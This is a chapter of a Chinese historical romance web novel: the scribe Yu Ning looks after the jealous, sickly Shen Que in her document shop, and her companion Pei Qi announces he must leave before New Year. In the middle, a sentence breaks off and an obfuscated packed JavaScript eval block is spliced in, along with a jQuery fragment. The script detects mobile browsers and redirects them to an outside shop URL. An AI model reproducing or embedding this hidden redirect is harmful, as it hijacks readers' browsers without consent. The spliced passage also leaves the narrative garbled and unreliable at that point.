“大公子,”虞宁还是决定说清楚,“自回京那日至今,已逾月余。若当真有碍,也断没有拖到今日才发作的道理,如何能算到我头上?”

    说这话,沈却突然咳嗽起来,听的虞宁心中慎得慌,生怕他咳的晕倒在文书铺里,她赶忙给他温了杯热茶。

    “这些日子,为求见慕神医一面,我已遣潘霖往返十余趟。可神医府门高闭,帖子递进去如石沉大海,至今未得一句回音,”

    沈却轻叹一声,眉眼间显出几分无奈:“若虞小姐能替我请来慕神医,便算救了我半条命。往后虞小姐说东,我绝不往西;让做什么,便做什么。”

    “别了别了大公子,”虞宁突然想起自己还没还沈却的人情,“不如这样,我要是帮大公子请出神医,届时就算我与大公子两清,你看这样可好?”

    她忙着添茶续水,未曾瞧见烛影摇红间,沈却眸中那点清光悄然沉了下去。

    两清?

    “大公子?”见他没了声,虞宁抬手在他眼前轻轻晃了晃,“大公子助我谋得呈堂讼师之职,于我有提携之恩。若我能请动慕神医为公子诊治,解公子病厄,也算偿还这份恩情了。”

    沈却又是突如其来的一阵咳嗽,吓得虞宁连忙去寻来了件自己深冬时穿的袄子披在他身上。

    文书铺四壁是木,不聚暖气。更况且今日未曾生炭,满室清寒,连茶盏里的热气都散得极快。

    沈却也不知独自坐在这屋中等了多久。

    虞宁目光落在他身上,瞧见他略显苍白的脸色,心头竟无端软了几分。

    下一瞬,她猛地回过神来。

    不对!这可是日日被几十个暖炉围着、连睡觉都霸占戚夫人主卧的混账,心疼他做什么?

    虞宁当即收了那点不合时宜的恻隐,捏着系带往前一拽,替他将领口束紧了些。

    那动作瞧着体贴,实际上带了几分公报私仇的意味。丝绦贴着他的颈侧擦过,沈却自暖手筒中探出一只手,指尖落在那枚系得结实的结扣上。

    丝绦勒得紧,颈侧已隐隐泛出一抹浅红,他却毫无所觉,只低头轻轻摩挲了一下,唇角甚至噙着几分若有若无的笑意。

    而后抬眸,目光便再未离开过虞宁。

    见她挽袖扇火,又提炉添水,纤细的身影烛影间来回忙碌,他静静瞧着,像是生怕一个错眼,人便不见了似的。

    “还有一事,今日似乎有京兆府的人来府上问沈炤上次那十两银锭之事。”

    虞宁手上动作一顿,转眸看他:“小公子怎么说?”

    “他供认不讳,已将银两上交了,京兆府的人又传口信来说此事应该就此作罢了。”

    虽然虞宁觉得这事情结束的太过草率,但还是点点头:“如此便好。”

    沈却在虞宁这里呆着觉得自己好不快活,身边换谁来给他端茶倒水,都没有虞宁亲力亲为让他心中窃喜。

    他命潘霖带人护在铺子外头不放人进来,却还是等来了回家的裴七。

    裴七刚进门只看见正在忙着烧水的虞宁,搓了搓手暖,取过她手中的蒲扇,轻轻说了一声:“我来。”

    “你晚间去哪了?”虞宁将蒲扇交接,盯着他问。

    好啊,沈却心头冷笑,问他就是问为何来,问这个裴七却是问去了哪。

    裴七支起身子看她,见她在一楼冻的小脸通红,正疑惑她为何要跑来一楼烧水,余光中便瞥见坐在一旁的沈却。

    裴七蹙眉问:“这是……”

    沈却觉得自己与裴七也算打过好几次照面的,结果就听他说。

    “那个沈却?”

    那个沈却?

    虞宁一直觉得裴七患有脸盲之症。

    除了她以外,他看谁都像路人甲乙丙丁,今日见过,明日便忘。可此刻听他认出沈却,虞宁不禁肃然起敬。

    要知道,能让裴七记住的人,满长安也没几个。

    沈却颔首:“不知公子姓名?”

    裴七上下打量他一番:“裴七。”

    沈却佯装思索片刻,又继续追问:“久闻边关有一江湖门派,名独侠镇。独侠镇少主就叫裴期。不知公子的‘七’,可是‘期许’之‘期’?”

    屋里安静半晌,裴七方认真答道:“不是,我是七上八下的七。”

    炉上翻滚的水声格外清晰。

    虞宁默默低下头,她早该想到的,裴七这人,从来不会顺着旁人的话往下接。

    她看他又忙着去煽风,继续沈却的话题说:“其实我以前也怀疑你是独侠镇来的。”

    裴七的手微微一顿:“为何?”

    “因为你总是一副清心寡欲的模样。待谁都疏离,不见亲近。我听闻独侠镇门人讲究断情绝欲,不为七情所扰,不被六欲所困。”

    裴七闻言,只静静看着她。

    他面色红润,气血充盈,与沈却那种久病之人的苍白截然不同。

    那双天生含情的桃花眼本该顾盼生辉,惹人心动,可落在裴七脸上,却淡如止水,仿佛世间万物皆入不了他的眼。

    见他一声不吭,虞宁忽然觉得自己有些可笑。

    裴七若当真懂得这些,又怎会是裴七?

    她垂下眼,将茶炉里的炭火拨得更旺了些,不再继续这个话头。

    沈却又呆了一柱香的功夫,期间裴七帮她将诉信分成几摞,挑出其中一份逐一研读。

    期间虞宁给沈却时不时换一壶茶水,空歇时就挨在裴七身边看诉信。

    沈却这人,向来不喜欢与人分享。

    自己养的雀鸟,若落到旁人肩头;自己喂熟的狸奴,若转头去亲近别人,他便不会再要了。

    可偏偏到了虞宁这里,却全然不是这么回事。

    烛影轻晃,她看诉信时异常专注,偶尔同裴七说上两句话,眉眼间俱是他不曾见过的轻松自在。

    沈却看着那一幕,不知不觉攥紧了暖炉。胸腔里像是浸了一坛陈醋,又苦又涩。

    “我要走了。”

    万寂之中,沈却的声音响起。

    好不容易将他盼走,虞宁连脚步都轻快了几分。

    她立在门前,眉眼弯弯,朝沈却行了一礼:“大公子且安心养病,若后头我当真请得慕神医出山,定第一时间遣人告知公子。”

    沈却垂眸看着她。

    她脸上这笑意,比方才煮茶时还要真切几分,仿佛终于送走了一尊瘟神。

    胸口那股闷气顿时翻涌而上。

    他费尽心思才寻到个理由留下,她倒好,听见自己要走,竟欢喜成这副模样。

    沈却压下心绪,神色依旧温和:“我明日还来呢。”

    他慢条斯理地拢了拢大氅:“太医说我久病体虚,不宜久坐,也不可终日闷在府中,应当时常出来走动,沾些人气。我思来想去,长安城中也唯有此处最合适。虞小姐总不会不欢迎我吧?”

    虞宁的笑容凝固在脸上,干笑道:“自然不会。只是我素来话多,又爱招惹是非,只怕扰了公子清静。不过再过些时日,我与裴七搬离此处。公子要是喜欢文书铺这等闹中取静之地,日后大可常来。此处来往皆是文人书生,最是——”

    “你们要搬走?”沈却忽然截断了她后面的话,“搬去哪?”

    “这些日子找牙人在西市寻了间铺子......”

    “此等大事,怎么不同家里说?”

    虞宁愣了愣,同家里说?沈家?还是戚夫人?

    她眼底闪过一丝失落,嘴上还笑道:“这也不是什么大事吧?”

    “怎能不算大事?买宅子可不是逛街挑首饰。先得看院子格局是否妥当,宅里可曾死过人,这块地从前做什么营生的,还得请堪舆先生来瞧瞧风水。这里头门道多着呢,岂是看顺眼了便能买下的?”

    潘霖站在一侧立马给公子补充道:“是啊虞小姐,置宅是安身立命之事,岂可儿戏?不如明儿让公子给您找个堪舆先生看看,若是没问题再签契也不迟。”

    虞宁在置办家产上没有学问也没有讲究,谁知还要如此麻烦的一套流程,原本还想着拒绝,却也不想自己买了凶宅让百姓都不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17922808|213488||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    敢去铺子里递信。

    “那好吧,”她说,“那就先麻烦大公子了,不过此事算我欠你的,往后宁娘自会回报大公子。”

    她没看见,沈却气的深吸了口气:“虞小姐不必与我算的这么仔细,祖母也说了要我将你当亲妹妹看待,这些都是表哥应该做的。”

    大公子突然变成了表哥,根据他往常喜怒无常的模样,虞宁实在是不知道他葫芦里卖的什么药。

    “贵贱有别,宁娘可做不了大公子的亲妹妹,我与牙人说了明儿一早要签契,大公子能带人赶来吗?”

    “自然。”沈却答得飞快,“明儿一早,我陪虞小姐一道去看房。”

    虞宁觉得他说的暧昧没有分寸,又挑不出刺来,只能答应:“那大公子明早见。”

    潘霖搀扶公子上了马车,便从公子举手投足之间发现他如今和父亲话本里所说的“痴男”多少有些相似。

    虞小姐这态度压根是不想见他,公子怎么突然变得这般卑微,连早上的懒觉都不睡了。

    “潘霖,”回府路上,沈却突然撩开帘子,“你去请于先生明早去文书铺。”

    “那公子你不去了吗?”

    “我当然要去啊!”沈却恨不得给他踢下车去,“我不去……于先生怎么可能去?”

    “哦哦。”潘霖恍然大悟,“公子对虞小姐真是有心了。”

    车里一阵寂静作了回应。

    沈却撑着下巴挑起车帘看向窗外,看街道上人来人往,行人嬉笑成群,好不热闹。

    虽洋溢在喜庆氛围中,沈却却觉得自己落寞几分,明明才刚分开半刻钟不到,好像心脏却被人拧着一样,让他痛的喘不上气来。

    他想起裴七文儒俊秀的模样。

    想到原来那年他同她初遇之前,这个裴七就已经出现,教她习武练功,与她切磋武艺。

    而他,只是在她身边呆了短短一柱香不到的路人,她甚至连他们以前见过面都记不得。

    虞宁坐回裴七身侧,见裴七已经井然有序的将她要细看的信件分好,甜蜜的欣喜又浮上心头。

    她也不想管沈却为何突然变得这般反常。

    “宁娘。”

    裴七这一声“宁娘”让虞宁心中欣喜万分,除却她生病卧榻他照顾她时,此外虞宁没听过他唤她宁娘。

    “怎么了?”

    她说这话时感觉胸口似有小鹿乱撞。

    “今年除夕我怕是不能陪你一起过了。”

    虞宁脸上的笑意僵住片刻:“为何?”

    “家父来信,说他病情加重,让我回一趟武胜。”

    他说这话时语气平淡,感受不到意思关切,但又说的这般言之凿凿,虞宁只能点头应了:“那你今年回去陪你爹爹吧。还是身体最重要。”

    裴七脸上闪过一丝心疼,又像是虞宁的错觉:“明年我会陪你。”

    他说话相来说到做到,算是给虞宁的承诺。

    但虞宁不理解,这么多年他从未提过自己有父亲,也从未和她说过他同他父亲还有书信往来……而且他也明明可以带她一起去武胜的。

    裴七不是不通五感之人,他看出来虞宁伤戚便连忙解释:“这些年你与戚夫人聚少离多,除夕之外鲜少同住一处。母女之间纵有嫌隙,也不该长久存于心中。她终究是你的母亲。”

    烛光下,虞宁瞪着一双大眼睛,与裴七相视。

    她原以为裴七什么都不懂,就算是装的也不必装了十二年。

    但他现在情真意切,是真的担心自己同母亲的关系不合。

    “明年我一定会在长安陪你。”裴期这样说道。

    自收到帮中传讯那日起,他便知自己在长安的行迹已然败露。

    独侠镇豢养的死士皆是刀口舔血之徒,一旦被盯上,便是不死不休。此番归去,他一定要与独侠镇做个彻底了断。待诸事平息,再返长安,做回裴七,与她过安稳太平的日子。

    “好。”

    女孩笑意盈盈,方才那点黯然之色,转眼便消散得无影无踪。